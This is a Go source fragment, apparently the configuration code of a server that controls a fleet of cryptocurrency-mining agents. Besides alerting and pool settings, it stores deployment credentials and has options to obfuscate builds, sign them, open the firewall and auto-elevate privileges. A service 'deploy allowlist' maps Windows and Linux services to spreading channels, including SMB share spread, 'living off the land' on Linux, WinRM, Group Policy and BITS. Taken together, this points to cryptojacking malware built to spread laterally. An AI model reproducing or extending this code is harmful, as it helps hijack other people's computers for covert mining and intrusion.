dst.Alerts.EmailEnabled = src.Alerts.EmailEnabled } if in(alertKeys, "notify_agent_connect") { dst.Alerts.NotifyAgentConnect = src.Alerts.NotifyAgentConnect } if in(alertKeys, "notify_agent_reconnect") { dst.Alerts.NotifyAgentReconnect = src.Alerts.NotifyAgentReconnect } if in(alertKeys, "notify_agent_offline") { dst.Alerts.NotifyAgentOffline = src.Alerts.NotifyAgentOffline } if in(alertKeys, "notify_hashrate_drop") { dst.Alerts.NotifyHashrateDrop = src.Alerts.NotifyHashrateDrop } if in(alertKeys, "notify_rejection_rate") { dst.Alerts.NotifyRejectionRate = src.Alerts.NotifyRejectionRate } if in(alertKeys, "notify_build_complete") { dst.Alerts.NotifyBuildComplete = src.Alerts.NotifyBuildComplete } if in(alertKeys, "notify_kev_exposure") { dst.Alerts.NotifyKEVExposure = src.Alerts.NotifyKEVExposure } if in(alertKeys, "smtp_host") && src.Alerts.SMTPHost != "" { dst.Alerts.SMTPHost = src.Alerts.SMTPHost } if in(alertKeys, "smtp_port") && src.Alerts.SMTPPort != 0 { dst.Alerts.SMTPPort = src.Alerts.SMTPPort } if in(alertKeys, "smtp_user") && src.Alerts.SMTPUser != "" { dst.Alerts.SMTPUser = src.Alerts.SMTPUser } if in(alertKeys, "smtp_password") && src.Alerts.SMTPPassword != "" { dst.Alerts.SMTPPassword = src.Alerts.SMTPPassword } if in(alertKeys, "email_to") && src.Alerts.EmailTo != "" { dst.Alerts.EmailTo = src.Alerts.EmailTo } if in(alertKeys, "email_from") && src.Alerts.EmailFrom != "" { dst.Alerts.EmailFrom = src.Alerts.EmailFrom } } if has("server") { srvKeys := nestedJSONKeys(present, "server") if in(srvKeys, "public_url") { dst.Server.PublicURL = src.Server.PublicURL } if in(srvKeys, "stats_retention_hours") && src.Server.StatsRetentionHours != 0 { dst.Server.StatsRetentionHours = src.Server.StatsRetentionHours } if in(srvKeys, "build_retention_days") && src.Server.BuildRetentionDays != 0 { dst.Server.BuildRetentionDays = src.Server.BuildRetentionDays } if in(srvKeys, "pool_reconnect_seconds") && src.Server.PoolReconnectSeconds != 0 { dst.Server.PoolReconnectSeconds = src.Server.PoolReconnectSeconds } if in(srvKeys, "websocket_ping_seconds") && src.Server.WebSocketPingSeconds != 0 { dst.Server.WebSocketPingSeconds = src.Server.WebSocketPingSeconds } if in(srvKeys, "max_agents") && src.Server.MaxAgents != 0 { dst.Server.MaxAgents = src.Server.MaxAgents } if in(srvKeys, "max_build_size_mb") && src.Server.MaxBuildSizeMB != 0 { dst.Server.MaxBuildSizeMB = src.Server.MaxBuildSizeMB } if in(srvKeys, "log_agent_connections") { dst.Server.LogAgentConnections = src.Server.LogAgentConnections } if in(srvKeys, "log_share_submissions") { dst.Server.LogShareSubmissions = src.Server.LogShareSubmissions } if in(srvKeys, "log_pool_traffic") { dst.Server.LogPoolTraffic = src.Server.LogPoolTraffic } if in(srvKeys, "strict_wallet_validation") { dst.Server.StrictWalletValidation = src.Server.StrictWalletValidation } if in(srvKeys, "open_firewall_on_start") { dst.Server.OpenFirewallOnStart = src.Server.OpenFirewallOnStart } if in(srvKeys, "obfuscate_default") { dst.Server.ObfuscateDefault = src.Server.ObfuscateDefault } if in(srvKeys, "sign_enabled") { dst.Server.SignEnabled = src.Server.SignEnabled } if in(srvKeys, "dashboard_subtitle") && src.Server.DashboardSubtitle != "" { dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle } if in(srvKeys, "sign_cert_thumbprint") && src.Server.SignCertThumbprint != "" { dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint } if in(srvKeys, "sign_tool_path") && src.Server.SignToolPath != "" { dst.Server.SignToolPath = src.Server.SignToolPath } if in(srvKeys, "sign_timestamp_url") && src.Server.SignTimestampURL != "" { dst.Server.SignTimestampURL = src.Server.SignTimestampURL } if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" { dst.Server.FleetSecret = src.Server.FleetSecret } if in(srvKeys, "public_builds_enabled") { dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled } if in(srvKeys, "public_builds_latest_n") && src.Server.PublicBuildsLatestN != 0 { dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN } if in(srvKeys, "adaptive_strategy_enabled") { dst.Server.AdaptiveStrategyEnabled = src.Server.AdaptiveStrategyEnabled } if in(srvKeys, "ai_control_enabled") { dst.Server.AIControlEnabled = src.Server.AIControlEnabled } if in(srvKeys, "atlas_lan_gossip_enabled") { dst.Server.AtlasLanGossipEnabled = src.Server.AtlasLanGossipEnabled } if in(srvKeys, "fleet_roles_enabled") { dst.Server.FleetRolesEnabled = src.Server.FleetRolesEnabled } if in(srvKeys, "ai_endpoint") { dst.Server.AIEndpoint = src.Server.AIEndpoint } if in(srvKeys, "ai_local_endpoint") && src.Server.AIEndpoint != "" { dst.Server.AIEndpoint = src.Server.AIEndpoint } if in(srvKeys, "ai_model") { dst.Server.AIModel = src.Server.AIModel } if in(srvKeys, "ai_no_context") { dst.Server.AINoContext = src.Server.AINoContext } if in(srvKeys, "ai_decision_interval_sec") && src.Server.AIDecisionIntervalSec > 0 { dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec } if in(srvKeys, "ai_interval_sec") && src.Server.AIDecisionIntervalSec > 0 { dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec } if in(srvKeys, "ai_auto_elevate_clearance") { dst.Server.AIAutoElevateClearance = src.Server.AIAutoElevateClearance } if in(srvKeys, "ai_persona") && strings.TrimSpace(src.Server.AIPersona) != "" { dst.Server.AIPersona = strings.TrimSpace(src.Server.AIPersona) } } if has("tunnel_defaults") { tdKeys := nestedJSONKeys(present, "tunnel_defaults") if in(tdKeys, "cloudflared_target_url") { dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL } if in(tdKeys, "cloudflare_tunnel_token") { dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken } } if has("deployment_credentials") { dst.DeploymentCredentials = append([]DeploymentCredProfile(nil), src.DeploymentCredentials...) for i := range dst.DeploymentCredentials { EnsureCredProfileID(&dst.DeploymentCredentials[i]) if strings.TrimSpace(dst.DeploymentCredentials[i].VaultRef) == "" { dst.DeploymentCredentials[i].VaultRef = defaultVaultRef(dst.DeploymentCredentials[i].ID) } } } // Keep cloudflared default aligned with public_url when unset. if strings.TrimSpace(dst.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(dst.Server.PublicURL) != "" { dst.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(dst.Server.PublicURL) } } func hydrateLegacyAIConfig(cfg *Config, raw []byte) { if cfg == nil || len(raw) == 0 { return } var root map[string]json.RawMessage if err := json.Unmarshal(raw, &root); err != nil { return } srvRaw, ok := root["server"] if !ok { return } var srv map[string]json.RawMessage if err := json.Unmarshal(srvRaw, &srv); err != nil { return } if ep, ok := srv["ai_local_endpoint"]; ok && cfg.Server.AIEndpoint == "" { var s string if json.Unmarshal(ep, &s) == nil && strings.TrimSpace(s) != "" { cfg.Server.AIEndpoint = strings.TrimSpace(s) } } if iv, ok := srv["ai_interval_sec"]; ok && cfg.Server.AIDecisionIntervalSec == 0 { var n int if json.Unmarshal(iv, &n) == nil && n > 0 { cfg.Server.AIDecisionIntervalSec = n } } } func (c *Config) Save() error { configPath := filepath.Join(c.DataDir, "config.json") data, err := json.MarshalIndent(c, "", " ") if err != nil { return fmt.Errorf("failed to marshal config: %w", err) } if err := os.WriteFile(configPath, data, 0644); err != nil { return err } c.syncCloudflaredTokenFile() return nil } func defaultServiceDeployAllowlist() map[string]ServiceDeployLane { return map[string]ServiceDeployLane{ "DoSvc": {Lane: "do_peer", Priority: 35}, "Delivery Optimization": {Lane: "do_peer", Priority: 35}, "Wuauserv": {Lane: "wsus_cache_peer", Priority: 34}, "wuauserv": {Lane: "wsus_cache_peer", Priority: 34}, "Windows Update": {Lane: "wsus_cache_peer", Priority: 34}, "dns_txt:_aether": {Lane: "dns_txt", Priority: 33}, "dns_txt": {Lane: "dns_txt", Priority: 33}, "webrtc_mesh": {Lane: "webrtc_mesh", Priority: 32}, "CCMEXEC": {Lane: "bits_curl", Priority: 10}, "CcmExec": {Lane: "bits_curl", Priority: 10}, "BITS": {Lane: "bits_curl", Priority: 8}, "com.docker.service": {Lane: "docker_load", Priority: 20}, "Docker Desktop Service": {Lane: "docker_load", Priority: 20}, "WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"}, "gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"}, "LanmanServer": {Lane: "spread_smb_unc", Priority: 50}, "sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"}, } } func (c *Config) PoolURL() string { proto := "stratum+tcp" if c.Pool.UseTLS { proto = "stratum+ssl" } return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port) }